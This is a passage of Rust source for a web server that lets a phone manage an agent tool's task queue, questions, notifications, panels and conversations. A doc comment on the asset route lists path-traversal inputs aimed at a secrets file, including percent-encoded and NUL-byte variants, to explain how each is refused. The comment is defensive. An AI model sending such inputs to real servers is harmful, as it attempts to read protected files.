3464        Ok(())
3465    })
3466    .await
3467}
3468
3469/// `DELETE /api/queue/{id}`.
3470///
3471/// Remove a task from the backlog. Refused only while a live daemon's heartbeat
3472/// names this task: a `running` status or an orphaned `.lock` left behind by a
3473/// killed daemon is a leftover, and treating either as authority made the
3474/// task undeletable from the phone for good. The associated runs, if any, are
3475/// kept: a run is self-contained history and not an appendage of the task.
3476async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
3477    blocking(move || {
3478        let id = resolve_task(&ui.queue, &id)?;
3479        let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
3480        ui.queue
3481            .remove(&id, in_flight, &ui.questions)
3482            .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
3483        Ok(StatusCode::NO_CONTENT)
3484    })
3485    .await
3486}
3487
3488/// Read a task, change it, write it back, under the queue's own lock.
3489///
3490/// Taking the same claim a daemon takes is what makes hold, release,
3491/// priority, edit, and done safe to press while magi is running: without it
3492/// the daemon's next save would land on top of the operator's change and
3493/// undo it. `change` can refuse - [`Task::set_priority`] and [`Task::edit`]
3494/// both do, for a running task - and that refusal becomes the 4xx the card
3495/// shows, same as any other domain rule.
3496async fn mutate(
3497    ui: Arc<Ui>,
3498    id: String,
3499    change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
3500) -> ApiResult<Json<TaskView>> {
3501    blocking(move || {
3502        let id = resolve_task(&ui.queue, &id)?;
3503        // `claim` fails when the lock file already exists, which is the
3504        // conflict the UI must report: the daemon owns that task's file for
3505        // as long as it is running it, and our write would be lost under its
3506        // next save. The message names the lock either way.
3507        let _claim = ui.queue.claim(&id).map_err(|e| {
3508            ApiError::conflict(format!(
3509                "{e:#} - a daemon is running this task, so it cannot be \
3510                 changed from here yet"
3511            ))
3512        })?;
3513        let mut task = ui.queue.get(&id)?;
3514        change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
3515            Ok(dup) => ApiError::conflict(dup.render(
3516                "Nothing was saved. If it is not a duplicate, repeat the request with \
3517                 \"force\": true.",
3518            )),
3519            Err(e) => ApiError::bad_request_from(e),
3520        })?;
3521        ui.queue.put(&mut task)?;
3522        Ok(Json(TaskView::from(task)))
3523    })
3524    .await
3525}
3526
3527/// The change stream: one revision number per store, on connect and whenever
3528/// any of them moves.
3529///
3530/// The poll runs in one spawned task per client, which is affordable because
3531/// the work is a directory scan and a `stat` per file. It stops as soon as the
3532/// receiver is gone, so a phone that walks out of range costs nothing after
3533/// its next tick - there is no session and no cleanup to forget.
3534async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
3535    let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
3536    tokio::spawn(async move {
3537        let mut ticker = tokio::time::interval(POLL);
3538        let mut last: Option<(u64, u64, u64, u64, u64, u64)> = None;
3539        loop {
3540            // The first tick completes immediately, which is what makes the
3541            // stream announce the current revisions on connect.
3542            ticker.tick().await;
3543            let state = Arc::clone(&ui);
3544            let revisions = tokio::task::spawn_blocking(move || {
3545                (
3546                    state.queue.revision(),
3547                    runs_revision(&state.runs),
3548                    state.questions.revision(),
3549                    state.talks.revision(),
3550                    state.notices.revision(),
3551                    // The loop's counter is in-process state rather than a
3552                    // file, so nothing the three stats above look at would
3553                    // tell this phone that another one started the loop.
3554                    state.lock_loop().rev,
3555                )
3556            })
3557            .await;
3558            let Ok(revisions) = revisions else { break };
3559            if last == Some(revisions) {
3560                continue;
3561            }
3562            last = Some(revisions);
3563            let payload = serde_json::json!({
3564                "queue_rev": revisions.0,
3565                "runs_rev": revisions.1,
3566                "questions_rev": revisions.2,
3567                "talks_rev": revisions.3,
3568                "notifications_rev": revisions.4,
3569                "loop_rev": revisions.5,
3570            });
3571            // Serializing five integers cannot fail; giving up beats looping.
3572            let Ok(event) = Event::default().event("change").json_data(payload) else {
3573                break;
3574            };
3575            if tx.send(event).await.is_err() {
3576                break;
3577            }
3578        }
3579    });
3580    Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
3581        .keep_alive(KeepAlive::new().interval(KEEPALIVE))
3582}
3583
3584/// Change detection token for recorded runs under `runs`.
3585///
3586/// Combines the id and `run.json` modification time of each run, so adding,
3587/// updating, or deleting any run — even an older one — moves the revision and
3588/// notifies connected clients via the change stream. Returns 0 when no runs
3589/// exist.
3590fn runs_revision(runs: &FsPath) -> u64 {
3591    use std::hash::{Hash as _, Hasher as _};
3592
3593    let mut entries: Vec<(String, u64)> = std::fs::read_dir(runs)
3594        .into_iter()
3595        .flatten()
3596        .flatten()
3597        .filter_map(|e| {
3598            let path = e.path().join("run.json");
3599            let mtime = path
3600                .metadata()
3601                .ok()?
3602                .modified()
3603                .ok()?
3604                .duration_since(std::time::UNIX_EPOCH)
3605                .ok()?
3606                .as_millis() as u64;
3607            let id = e.file_name().to_string_lossy().into_owned();
3608            Some((id, mtime))
3609        })
3610        .collect();
3611
3612    if entries.is_empty() {
3613        return 0;
3614    }
3615
3616    entries.sort_unstable();
3617    let mut hasher = std::hash::DefaultHasher::new();
3618    for (id, mtime) in &entries {
3619        id.hash(&mut hasher);
3620        mtime.hash(&mut hasher);
3621    }
3622    let h = hasher.finish();
3623    if h == 0 { 1 } else { h }
3624}
3625
3626/// Run ids under `runs`, newest first.
3627///
3628/// Rooted at an explicit directory rather than calling [`run::list_ids`],
3629/// which reads the process-global home: the server has to be drivable against
3630/// a temp directory for any of this to be testable.
3631fn run_ids(runs: &FsPath) -> Vec<String> {
3632    let mut ids: Vec<String> = std::fs::read_dir(runs)
3633        .into_iter()
3634        .flatten()
3635        .flatten()
3636        .filter(|e| e.path().join("run.json").is_file())
3637        .map(|e| e.file_name().to_string_lossy().into_owned())
3638        .collect();
3639    // Ids start with a sortable timestamp.
3640    ids.sort_unstable_by(|a, b| b.cmp(a));
3641    ids
3642}
3643
3644/// Read one run's state from an explicit runs root.
3645fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
3646    let path = runs.join(id).join("run.json");
3647    let body =
3648        std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
3649    let state: RunState =
3650        serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
3651    if state.schema != run::SCHEMA {
3652        anyhow::bail!(
3653            "run {} was written by a different magi (schema {}, this build speaks {})",
3654            state.id,
3655            state.schema,
3656            run::SCHEMA
3657        );
3658    }
3659    Ok(state)
3660}
3661
3662/// Runs on disk under `runs` whose state this build cannot parse - almost
3663/// always a schema bump, occasionally a run killed mid-write.
3664///
3665/// Exposed so every surface that reports on runs shares one count instead of
3666/// each re-deriving it: `/api/health` reports it as `runs_unreadable`, and
3667/// `magi doctor` calls this directly rather than guessing at the same number
3668/// a second way.
3669#[must_use]
3670pub fn runs_unreadable(runs: &FsPath) -> usize {
3671    run_ids(runs)
3672        .into_iter()
3673        .filter(|id| read_run(runs, id).is_err())
3674        .count()
3675}
3676
3677/// Expand an id or short id to exactly one run id.
3678fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
3679    if runs.join(id).join("run.json").is_file() {
3680        return Ok(id.to_owned());
3681    }
3682    pick(run_ids(runs), id, "run")
3683}
3684
3685/// Expand an id or short id to exactly one task id.
3686fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
3687    if queue.path_of(id).is_file() {
3688        return Ok(id.to_owned());
3689    }
3690    pick(queue.list().into_iter().map(|t| t.id).collect(), id, "task")
3691}
3692
3693/// A question as the phone reads it.
3694///
3695/// `detail`, the reasoning an agent wrote, is markdown; `detail_md` is that
3696/// text already parsed into a node tree so the client never runs its own
3697/// markdown reader over agent-authored prose. A relative image path in it
3698/// resolves against this question's own panel asset route, which is the one
3699/// place [`md::ImageBase::QuestionPanel`] is used - the panel iframe is a
3700/// separate, sandboxed document, but `detail` is rendered inline in the
3701/// operator's own page, so an image reference in it may only ever point at
3702/// files magi itself already serves for this question.
3703#[derive(Debug, Serialize)]
3704struct QuestionView {
3705    #[serde(flatten)]
3706    question: Question,
3707    detail_md: Vec<md::Node>,
3708    /// Is the ball in the agent's court right now?
3709    ///
3710    /// [`QuestionStatus`] stays `Open` for the whole of a round trip - see
3711    /// [`Question::say`] - so this is the one field that tells the phone to
3712    /// disable the answer controls and show "waiting for the agent" instead of
3713    /// a card the owner can act on. Computed rather than stored on
3714    /// [`Question`] itself, on the same reasoning as `waiting` on
3715    /// [`RunSummary`]: it is a read of `thread`'s own last entry, and keeping
3716    /// it here means the client never has to re-derive that rule.
3717    waiting_on_agent: bool,
3718    /// Who is waiting on this open question - see [`holder_of`]. Separate
3719    /// from `waiting_on_agent`, which is whose *turn* it is, not whether
3720    /// anyone is there to take it.
3721    holder: Option<&'static str>,
3722}
3723
3724impl QuestionView {
3725    /// The view of `question`, reading who is waiting on it from `store`.
3726    ///
3727    /// `holder` needs the lease sidecar, which is why this is not a `From`.
3728    fn of(question: Question, store: &ask::Questions) -> Self {
3729        let base = md::ImageBase::QuestionPanel {
3730            id: question.id.clone(),
3731        };
3732        let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
3733        Self {
3734            detail_md: md::to_nodes(&question.detail, &base),
3735            waiting_on_agent: question.waiting_on_agent(),
3736            holder,
3737            question,
3738        }
3739    }
3740}
3741
3742/// Who is honestly waiting on an open question right now: `"asker"` (the
3743/// agent's own `magi ask`), `"daemon"` (`magi serve` resuming its session), or
3744/// `"nobody"` - the asker is gone and the daemon has not picked it up.
3745///
3746/// `None` for a question that is settled, and for one no `magi ask` filed
3747/// (`cwd` unset), which has no agent to wait on it in the first place.
3748fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
3749    if !q.status.open() || q.cwd.is_none() {
3750        return None;
3751    }
3752    Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
3753        Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
3754        Some(_) => "asker",
3755        None => "nobody",
3756    })
3757}
3758
3759/// `GET /api/questions`.
3760///
3761/// Everything, not just the open ones: an answered question is the record of a
3762/// decision, and the phone is where the operator goes back to check what they
3763/// told an agent at 3am. `ask::Questions::list` already ranks open first.
3764async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
3765    blocking(move || {
3766        Ok(Json(
3767            ui.questions
3768                .list()
3769                .into_iter()
3770                .map(|q| QuestionView::of(q, &ui.questions))
3771                .collect(),
3772        ))
3773    })
3774    .await
3775}
3776
3777/// `GET /api/notifications`: not dismissed, newest first, with the unread
3778/// count so the badge and the list cannot disagree.
3779async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
3780    blocking(move || {
3781        let items = ui.notices.list();
3782        let unread = items.iter().filter(|n| n.unread()).count();
3783        Ok(Json(
3784            serde_json::json!({ "unread": unread, "items": items }),
3785        ))
3786    })
3787    .await
3788}
3789
3790fn notice_error(e: anyhow::Error) -> ApiError {
3791    // An unknown or malformed id and a vanished file are the same answer to
3792    // the phone: that notification is gone.
3793    ApiError::not_found(format!("{e:#}"))
3794}
3795
3796/// `POST /api/notifications/{id}/read`.
3797async fn notification_read(
3798    State(ui): State<Arc<Ui>>,
3799    Path(id): Path<String>,
3800) -> ApiResult<Json<Notice>> {
3801    blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
3802}
3803
3804/// `POST /api/notifications/{id}/dismiss`.
3805async fn notification_dismiss(
3806    State(ui): State<Arc<Ui>>,
3807    Path(id): Path<String>,
3808) -> ApiResult<Json<Notice>> {
3809    blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
3810}
3811
3812/// `POST /api/notifications/read-all`.
3813async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
3814    blocking(move || {
3815        let changed = ui.notices.mark_all_read()?;
3816        Ok(Json(serde_json::json!({ "marked": changed })))
3817    })
3818    .await
3819}
3820
3821/// The body of `POST /api/questions/{id}/answer`.
3822///
3823/// Exactly one of the two fields, mirroring `ask::Answer`. Both or neither is
3824/// a bad request rather than a guess: an answer magi invented is worse than a
3825/// question left open.
3826#[derive(Debug, Default, Deserialize)]
3827#[serde(default, deny_unknown_fields)]
3828struct NewAnswer {
3829    choice: Option<String>,
3830    text: Option<String>,
3831}
3832
3833async fn question_answer(
3834    State(ui): State<Arc<Ui>>,
3835    Path(id): Path<String>,
3836    body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
3837) -> ApiResult<Json<QuestionView>> {
3838    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3839    let answer = match (body.choice, body.text) {
3840        (Some(c), None) => Answer::Choice(c),
3841        (None, Some(t)) => Answer::Text(t),
3842        (Some(_), Some(_)) => {
3843            return Err(ApiError::bad_request(
3844                "send either `choice` or `text`, not both",
3845            ));
3846        }
3847        (None, None) => {
3848            return Err(ApiError::bad_request("send a `choice` or a `text`"));
3849        }
3850    };
3851
3852    blocking(move || {
3853        let id = resolve_question(&ui.questions, &id)?;
3854        let q = ui
3855            .questions
3856            .get(&id)
3857            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
3858        if !q.status.open() {
3859            // Answered from the terminal, or by another phone, in between the
3860            // list and the tap. The UI shows the recorded answer rather than an
3861            // error, so it needs the record, not just the status.
3862            return Err(ApiError::conflict(format!(
3863                "question {} is already {}",
3864                q.short(),
3865                q.status.as_str()
3866            )));
3867        }
3868        // `Question::answer` owns the rules - an unoffered choice, free text on
3869        // a multiple-choice question, an empty reply - so the route does not
3870        // restate them and cannot drift from the CLI's behaviour.
3871        let (q, ()) = ui
3872            .questions
3873            .update(&q.id, |r| r.answer(answer))
3874            .map_err(ApiError::bad_request_from)?;
3875        Ok(Json(QuestionView::of(q, &ui.questions)))
3876    })
3877    .await
3878}
3879
3880/// The body of `POST /api/questions/{id}/say`.
3881#[derive(Debug, Deserialize)]
3882#[serde(deny_unknown_fields)]
3883struct NewSay {
3884    body: String,
3885}
3886
3887/// `POST /api/questions/{id}/say` - the owner talks back without deciding.
3888///
3889/// Synchronous, unlike `POST /api/talks/{id}/say`: that route spawns an agent
3890/// CLI and waits on it, this one only appends a [`ask::Turn`] and writes the
3891/// file, so there is no turn to serialize against and no
3892/// [`Ui::begin_talk_turn`] guard to take. The agent waiting on this question
3893/// is a *different* process - the run parked behind `magi ask` - and picks
3894/// the reply up on its own poll of the very same file, same as an answer
3895/// does.
3896async fn question_say(
3897    State(ui): State<Arc<Ui>>,
3898    Path(id): Path<String>,
3899    body: std::result::Result<Json<NewSay>, JsonRejection>,
3900) -> ApiResult<Json<QuestionView>> {
3901    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3902    blocking(move || {
3903        let id = resolve_question(&ui.questions, &id)?;
3904        let q = ui
3905            .questions
3906            .get(&id)
3907            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
3908        if !q.status.open() {
3909            // Same granularity as `question_answer`: answered or abandoned in
3910            // between the list and the tap is not this route's error to
3911            // explain any differently.
3912            return Err(ApiError::conflict(format!(
3913                "question {} is already {}",
3914                q.short(),
3915                q.status.as_str()
3916            )));
3917        }
3918        // `Question::say` owns the one rule that matters here - an empty
3919        // message tells the agent nothing - so the route does not restate it.
3920        let (q, ()) = ui
3921            .questions
3922            .update(&q.id, |r| r.say(body.body))
3923            .map_err(ApiError::bad_request_from)?;
3924        Ok(Json(QuestionView::of(q, &ui.questions)))
3925    })
3926    .await
3927}
3928
3929/// Expand an id or short id to exactly one question id.
3930fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
3931    if store.path_of(id).is_file() {
3932        return Ok(id.to_owned());
3933    }
3934    pick(
3935        store.list().into_iter().map(|q| q.id).collect(),
3936        id,
3937        "question",
3938    )
3939}
3940
3941/// `GET /api/questions/{id}/panel`.
3942///
3943/// The panel an agent wrote for this question, as `text/html` under
3944/// [`PANEL_CSP`], for the front end to mount in a token-less sandboxed iframe.
3945/// A question without one is a 404 rather than an empty page: the client
3946/// preflights this route with `HEAD` and must be able to tell "no panel" from
3947/// "a panel that rendered blank", and a sandboxed frame is opaque to the
3948/// parent document so it cannot tell the difference by looking.
3949///
3950/// The body is whatever the agent wrote, byte for byte. Nothing here rewrites,
3951/// sanitises or minifies it - a sanitiser is a list of things someone thought
3952/// of, and the sandbox plus the CSP is a list of things that are allowed, which
3953/// is the direction that stays safe when an agent writes markup nobody
3954/// predicted.
3955async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
3956    blocking(move || {
3957        let id = resolve_question(&ui.questions, &id)?;
3958        let Some(html) = ui.questions.panel_html(&id) else {
3959            return Err(ApiError::not_found(format!("question {id} has no panel")));
3960        };
3961        Ok(panel_response(
3962            "text/html; charset=utf-8",
3963            false,
3964            html.into_bytes(),
3965        ))
3966    })
3967    .await
3968}
3969
3970/// `GET /api/questions/{id}/asset/{name}`.
3971///
3972/// One file from the question's own panel directory, so a panel can show a
3973/// diff as an SVG or a screenshot as a PNG without the CSP's `img-src 'self'`
3974/// having to allow anything off this machine.
3975///
3976/// This is the only route in the server where a client names a file, so it is
3977/// the only one with a traversal surface, and the name is checked by
3978/// [`ask::valid_asset_name`] before a path is built from it. Which layer stops
3979/// what is worth being explicit about, because the answer is not "all of it in
3980/// one place":
3981///
3982/// * `asset/../../secrets` never reaches this handler at all. axum matches on
3983///   the raw request path and `{name}` spans exactly one segment, so a real
3984///   slash makes the request too long for the route and the router answers 404.
3985/// * `asset/%2e%2e%2fsecrets` and `asset/..%5csecrets` do reach it: axum
3986///   percent-decodes path parameters, so `name` arrives as `../secrets` and
3987///   `..\secrets` respectively, which look like plain filenames to the router.
3988///   The validator refuses them here - both for the literal `..` and because
3989///   `/` and `\` are not in the permitted character set - and answers 400.
3990/// * A name carrying a NUL (`%00`) decodes to a string Rust is happy with but
3991///   the platform's path API is not, and it is refused here for the same
3992///   reason: NUL is not a permitted character.
3993/// * [`Questions::panel_asset`] validates again on read, so the check is not
3994///   load-bearing in only one place. This route's own check exists so the
3995///   failure is a 400 that says which name was wrong, rather than a store error
3996///   the operator has to interpret.
3997async fn question_asset(
3998    State(ui): State<Arc<Ui>>,
3999    Path((id, name)): Path<(String, String)>,
4000) -> ApiResult<Response> {
4001    // Before any filesystem work and before any path is built: a name this
4002    // server will not serve should not become a `PathBuf` at all.
4003    if !crate::ask::valid_asset_name(&name) {
4004        return Err(ApiError::bad_request(format!(
4005            "`{name}` is not a usable asset name"
4006        )));
4007    }
4008    blocking(move || {
4009        let id = resolve_question(&ui.questions, &id)?;
4010        let asset = ui
4011            .questions
4012            .panel_asset(&id, &name)
4013            .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
4014        let Some(bytes) = asset else {
4015            return Err(ApiError::not_found(format!(
4016                "question {id} has no asset `{name}`"
4017            )));
4018        };
4019        Ok(panel_response(
4020            asset_content_type(&name),
4021            is_svg(&name),
4022            bytes,
4023        ))
4024    })
4025    .await
4026}
4027
4028/// Content type for a panel asset, from a closed whitelist.
4029///
4030/// A whitelist with an `application/octet-stream` fallback rather than a
4031/// guess, because the one answer that must never come out of here is
4032/// `text/html`. An agent that writes `notes.html` into its panel directory and
4033/// links it would otherwise get its own markup rendered at the top level of the
4034/// operator's browser - outside the sandboxed frame, outside [`PANEL_CSP`], on
4035/// magi's origin - which is precisely the thing the panel design exists to
4036/// prevent. Same reasoning for `.js` and `.json`: unlisted means downloaded.
4037///
4038/// `nosniff` accompanies this on every response, so a browser cannot decide it
4039/// knows better than the type we sent.
4040fn asset_content_type(name: &str) -> &'static str {
4041    match extension(name).as_deref() {
4042        Some("png") => "image/png",
4043        Some("jpg" | "jpeg") => "image/jpeg",
4044        Some("gif") => "image/gif",
4045        Some("webp") => "image/webp",
4046        Some("svg") => "image/svg+xml",
4047        Some("css") => "text/css; charset=utf-8",
4048        Some("txt") => "text/plain; charset=utf-8",
4049        _ => "application/octet-stream",
4050    }
4051}
4052
4053/// Is this an SVG, and therefore a file that must never be opened at the top
4054/// level?
4055fn is_svg(name: &str) -> bool {
4056    extension(name).as_deref() == Some("svg")
4057}
4058
4059/// Lowercased extension, or `None` for a name without one.
4060fn extension(name: &str) -> Option<String> {
4061    name.rsplit_once('.')
4062        .map(|(_, ext)| ext.to_ascii_lowercase())
4063}
4064
4065/// Every panel response, with the four headers that make it safe and, for an
4066/// SVG, a fifth.
4067///
4068/// One function rather than a header list per handler, because a panel route
4069/// that forgets [`PANEL_CSP`] is not a cosmetic bug: it is the whole security
4070/// model gone, silently, on one of two routes. Adding a third panel route later
4071/// means calling this, and there is nowhere else to build a panel response.
4072///
4073/// `download` is set for SVG only. An SVG is XML that may carry `<script>`, and
4074/// as an `<img src>` inside the panel that script cannot run - but the asset
4075/// URL is also a plain URL an operator can be talked into opening in a tab,
4076/// where it is a document on magi's own origin. `Content-Disposition:
4077/// attachment` makes the browser download it instead of rendering it, which
4078/// closes that door without taking away the ability to draw a diff. Raster
4079/// images have no such execution surface and are left inline, so tapping a
4080/// screenshot still shows it.
4081fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
4082    let mut res = (
4083        [
4084            (header::CONTENT_TYPE, content_type),
4085            (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
4086            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
4087            (header::REFERRER_POLICY, "no-referrer"),
4088        ],
4089        body,
4090    )
4091        .into_response();
4092    if download {
4093        res.headers_mut().insert(
4094            header::CONTENT_DISPOSITION,
4095            HeaderValue::from_static("attachment"),
4096        );
4097    }
4098    res
4099}
4100
4101/// A talk as the phone reads it.
4102///
4103/// Every field of [`Talk`] verbatim, plus `turn_bodies_md` - one markdown node
4104/// tree per entry of `turns`, in order - parsed server-side so `app.js` never
4105/// parses markdown itself - and the process-local `thinking` hint.
4106#[derive(Debug, Serialize)]
4107struct TalkView {
4108    #[serde(flatten)]
4109    talk: Talk,
4110    turn_bodies_md: Vec<Vec<md::Node>>,
4111    /// Whether [`Ui::begin_talk_turn`] currently holds this talk's turn in
4112    /// this server process.
4113    ///
4114    /// This is deliberately not durable: another server process cannot see
4115    /// it, and a restarted server must not claim an old turn is live. It is a
4116    /// progress hint rather than proof a reply landed; the transcript remains
4117    /// the source of truth for that.
4118    thinking: bool,
4119}
4120
4121impl TalkView {
4122    fn new(talk: Talk, thinking: bool) -> Self {
4123        let turn_bodies_md = talk
4124            .turns
4125            .iter()
4126            .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
4127            .collect();
4128        Self {
4129            turn_bodies_md,
4130            thinking,
4131            talk,
4132        }
4133    }
4134}
4135
4136/// `GET /api/talks/{id}`'s answer: a [`TalkView`] plus the queue tasks this
4137/// conversation has filed, so the phone can follow one from inside the
4138/// conversation that asked for it rather than hunting the Queue for a task id
4139/// it may not remember.
4140#[derive(Debug, Serialize)]
4141struct TalkDetailView {
4142    #[serde(flatten)]
4143    view: TalkView,
4144    tasks: Vec<TaskView>,
4145}
4146
4147/// `GET /api/talks`.
4148///
4149/// Every conversation, open ones first and newest first - [`Talks::list`]'s
4150/// own order.
4151async fn talks_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<TalkView>>> {
4152    blocking(move || {
4153        Ok(Json(
4154            ui.talks
4155                .list()
4156                .into_iter()
4157                .map(|talk| {
4158                    let thinking = ui.is_thinking(&talk.id);
4159                    TalkView::new(talk, thinking)
4160                })
4161                .collect(),
4162        ))
4163    })
4164    .await
4165}
4166
4167/// The body of `POST /api/talks`, all of it optional: opening a talk needs no
4168/// message. `repo` defaults to the server's own; `agent` to `[roles] chatter`,
4169/// [`talk::begin`]'s own default. Unknown fields are ignored so a newer front
4170/// end still opens a talk against an older binary.
4171#[derive(Debug, Default, Deserialize)]
4172#[serde(default)]
4173struct NewTalk {
4174    agent: Option<String>,
4175    repo: Option<PathBuf>,
4176}
4177
4178/// `POST /api/talks` - open a conversation. Takes no agent turn: see
4179/// [`talk::begin`]'s doc for why there is nothing yet for one to answer.
4180async fn talk_post(
4181    State(ui): State<Arc<Ui>>,
4182    body: std::result::Result<Json<NewTalk>, JsonRejection>,
4183) -> ApiResult<impl IntoResponse> {
4184    // An absent body, or an empty one, is the normal way to open a talk - see
4185    // `NewTalk`'s doc - so a missing content type is treated the same as `{}`
4186    // rather than refused.
4187    let body = match body {
4188        Ok(Json(body)) => body,
4189        Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
4190        Err(e) => return Err(ApiError::bad_request(e.body_text())),
4191    };
4192    let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
4193    let cfg = config_for(&repo).await?;
4194    let view = blocking(move || {
4195        let talk = talk::begin(&ui.talks, &cfg, repo, body.agent.as_deref())?;
4196        let thinking = ui.is_thinking(&talk.id);
4197        Ok(TalkView::new(talk, thinking))
4198    })
4199    .await?;
4200    Ok((StatusCode::CREATED, Json(view)))
4201}
4202
4203/// `GET /api/talks/{id}`.
4204async fn talk_detail(
4205    State(ui): State<Arc<Ui>>,
4206    Path(id): Path<String>,
4207) -> ApiResult<Json<TalkDetailView>> {
4208    blocking(move || {
4209        let id = resolve_talk(&ui.talks, &id)?;
4210        let talk = ui.talks.get(&id)?;
4211        let thinking = ui.is_thinking(&talk.id);
4212        let tasks = talk::tasks_of(&ui.queue, &talk.id)
4213            .into_iter()
4214            .map(TaskView::from)
4215            .collect();
4216        Ok(Json(TalkDetailView {
4217            view: TalkView::new(talk, thinking),
4218            tasks,
4219        }))
4220    })
4221    .await
4222}
4223
4224/// The body of `POST /api/talks/{id}/say`.
4225///
4226/// `attachments` names ids `POST /api/talks/{id}/attachments` already
4227/// returned - never bytes of its own - so a turn with no images just omits
4228/// the field, which is what an older front end still does.
4229#[derive(Debug, Default, Deserialize)]
4230#[serde(default, deny_unknown_fields)]
4231struct NewTalkTurn {
4232    text: String,
4233    attachments: Vec<String>,
4234}
4235
4236#[derive(Debug, Deserialize)]
4237#[serde(deny_unknown_fields)]
4238struct EditTalkPending {
4239    text: String,
4240    expected_text: String,
4241    expected_attachments: Vec<String>,
4242}
4243
4244#[derive(Debug, Deserialize)]
4245#[serde(deny_unknown_fields)]
4246struct ClearTalkPending {
4247    expected_text: String,
4248    expected_attachments: Vec<String>,
4249}
4250
4251/// `POST /api/talks/{id}/say` - one turn of the conversation.
4252///
4253/// Not filesystem work, and therefore not routed through [`blocking`]: this
4254/// route spawns an agent CLI and a turn here can run for the whole of
4255/// [`crate::config::Graph::timeout_talk`] - an hour by default - because a
4256/// research turn is expected to run commands rather than answer from what it
4257/// already knows. Holding an HTTP connection open that long is not a thing
4258/// to ask a phone to do; the operator's message is recorded and answered for
4259/// immediately, and the reply lands in the background, discovered through
4260/// the change stream's `talks_rev` the same way every other update on this
4261/// surface is.
4262async fn talk_say(
4263    State(ui): State<Arc<Ui>>,
4264    Path(id): Path<String>,
4265    body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
4266) -> ApiResult<(StatusCode, Json<TalkView>)> {
4267    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4268    if body.text.trim().is_empty() && body.attachments.is_empty() {
4269        return Err(ApiError::bad_request("say something"));
4270    }
4271
4272    let id = {
4273        let ui = Arc::clone(&ui);
4274        let asked = id.clone();
4275        blocking(move || resolve_talk(&ui.talks, &asked)).await?
4276    };
4277    // A closed Talk never accepts a new immediate or queued turn. Check this
4278    // before claiming a slot so its ordinary domain refusal is a 409, not an
4279    // incidental failure from the later record/queue write.
4280    {
4281        let ui = Arc::clone(&ui);
4282        let id = id.clone();
4283        blocking(move || {
4284            let talk = ui.talks.get(&id)?;
4285            if !talk.status.open() {
4286                return Err(ApiError::conflict(format!(
4287                    "talk {} is {} and takes no more turns",
4288                    talk.short(),
4289                    talk.status.as_str()
4290                )));
4291            }
4292            Ok(())
4293        })
4294        .await?;
4295    }
4296
4297    // Every attachment id resolved to the metadata `talk::record`/`talk::queue`
4298    // actually stores, before anything is written - an unknown id is a 4xx
4299    // that names it rather than a turn (or a queued draft) silently missing
4300    // an image.
4301    let attachments = {
4302        let ui = Arc::clone(&ui);
4303        let id = id.clone();
4304        let ids = body.attachments.clone();
4305        blocking(move || {
4306            ids.into_iter()
4307                .map(|att_id| {
4308                    ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
4309                        ApiError::bad_request(format!("unknown attachment `{att_id}`"))
4310                    })
4311                })
4312                .collect::<ApiResult<Vec<talk::Attachment>>>()
4313        })
4314        .await?
4315    };
4316
4317    // Pending recovery and a new immediate turn are decided under the same
4318    // claim lock. Without that one critical section, a second `/say` can see
4319    // the first request's claim as "busy" and append itself to the recovered
4320    // draft before the first request rejects it.
4321    let start = {
4322        let ui = Arc::clone(&ui);
4323        let id = id.clone();
4324        blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
4325    };
4326    let turn_guard = match start {
4327        TalkTurnStart::Claimed(turn_guard) => turn_guard,
4328        TalkTurnStart::Pending => {
4329            return Err(ApiError::conflict(
4330                "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
4331            ));
4332        }
4333        TalkTurnStart::Busy => {
4334            // A turn is already running: queue rather than refuse. See
4335            // `Ui::begin_talk_turn` and `talk::queue`.
4336            //
4337            // The queue write and the drain it may owe live inside the task
4338            // `tokio::spawn` hands to the runtime, for the same reason the
4339            // immediate path below puts `record` there: a dropped handler
4340            // future must not be able to land between a durable write and
4341            // the task that answers it. `blocking` runs its closure on
4342            // `spawn_blocking`, which finishes whether or not anyone is left
4343            // to receive its result - so a disconnect at the `.await` below
